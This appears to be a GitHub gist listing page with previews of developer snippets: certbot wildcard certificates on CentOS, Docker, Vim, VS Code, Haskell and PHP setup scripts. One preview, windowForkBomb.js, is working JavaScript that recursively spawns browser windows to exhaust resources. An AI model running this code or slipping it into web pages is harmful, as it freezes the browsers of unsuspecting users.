Skip to content

Instantly share code, notes, and snippets.

View edo9k's full-sized avatar
🪲

Eduardo França edo9k

🪲
View GitHub Profile
@jdeathe
jdeathe / centos-wildcard-certbot.md
Last active November 29, 2021 10:33
Installation and Usage of Certbot on CentOS to Obtain a Let’s Encrypt Wildcard TLS/SSL Certificate.

Requesting a Wildcard Certificate with Certbot on CentOS

To request a Let's Encrypt wildcard certificate there are the following prerequisites:

  • The client must support ACME v2 (i.e Certbot >= 0.22.0)
  • The DNS-01 challenge type must be used.
  • The --server option or configuration directive must be changed to the appropriate v2 endpoint.

Installation

Install certbot-auto

@falvarez
falvarez / docker-shell.sh
Created January 24, 2018 08:10
Run docker container, mount current working directory and get interactive shell
docker run -ti -v $(pwd):/tmp DOCKER_IMAGE /bin/bash
#![feature(lang_items)]
#![no_std]
#[no_mangle]
pub fn add_one(x: i32) -> i32 {
x + 1
}
// needed for no_std
@romainl
romainl / vanilla-linter.md
Last active May 6, 2024 01:48
Linting your code, the vanilla way

Linting your code, the vanilla way

You may want a linter plugin to lint your code in Vim but you probably don't need it. At least try the built-in way before jumping on the plugin bandwagon.

Defining makeprg

autocmd FileType <filetype> setlocal makeprg=<external command>

This autocommand tells Vim to use <external command> when invoking :make % in a <filetype> buffer. You can add as many similar lines as needed for other languages.

@d2s
d2s / install-spell-checker-to-vs-code.md
Last active September 20, 2023 09:57
Installing spell checker to VS Code

Spelling Checker for Visual Studio Code

  • README of the code-spell-checker VS Code extension.

Installing spell checker to VS Code

  • Open up VS Code
  • Press button F1
  • Type ext install code-spell-checker to the command promnt and press Enter key.
@wlib
wlib / windowForkBomb.js
Last active June 3, 2023 11:19
JS window fork bomb
// Make sure to allow pop ups, or your browser will stop the window.open() (thankfully)
function fork() {
const win = window.open();
const script = win.document.createElement("script");
script.innerHTML = fork + "\n" + "fork();";
win.document.head.appendChild(script);
setTimeout(function() {
win.close();
fork();
@chris-marsh
chris-marsh / .vimrc
Last active December 18, 2023 19:37
My vimrc Without plugins
set nocompatible
filetype off
set shell=/bin/bash
set hidden " opening new file hides current instead of closing
set nowrap " switch off line wrapping
set tabstop=4 " Set tabs to 4 characaters wide
set shiftwidth=4 " Set indentation width to match tab
set expandtab " Use spaces instead of actual hard tabs
set softtabstop=4 " Set the soft tab to match the hard tab width
@ryanpcmcquen
ryanpcmcquen / README.md
Last active February 17, 2019 19:39
Super Haskell setup for Cloud9
 ,-----.,--.                  ,--. ,---.   ,--.,------.  ,------.
'  .--./|  | ,---. ,--.,--. ,-|  || o   \  |  ||  .-.  \ |  .---'
|  |    |  || .-. ||  ||  |' .-. |`..'  |  |  ||  |  \  :|  `--, 
'  '--'\|  |' '-' ''  ''  '\ `-' | .'  /   |  ||  '--'  /|  `---.
 `-----'`--' `---'  `----'  `---'  `--'    `--'`-------' `------'
----------------------------------------------------------------- 

Setting up haskell-vim-now on a Cloud9 workspace:

@shingorow
shingorow / up-to-php7-in-cloud9.sh
Last active November 20, 2018 10:46
On Cloud9, upgrade PHP 5 to 7.
# Install phpbrew
sudo apt-get update
sudo apt-get install libmcrypt-dev
curl -L -O https://github.com/phpbrew/phpbrew/raw/master/phpbrew
chmod +x phpbrew
sudo mv phpbrew /usr/local/bin/
phpbrew init
[[ -e ~/.phpbrew/bashrc ]] && source ~/.phpbrew/bashrc
@augbog
augbog / Free O'Reilly Books.md
Last active May 14, 2024 10:27
Free O'Reilly Books

Free O'Reilly books and convenient script to just download them.

Thanks /u/FallenAege/ and /u/ShPavel/ from this Reddit post

How to use:

  1. Take the download.sh file and put it into a directory where you want the files to be saved.
  2. cd into the directory and make sure that it has executable permissions (chmod +x download.sh should do it)
  3. Run ./download.sh and wee there it goes. Also if you do not want all the files, just simply comment the ones you do not want.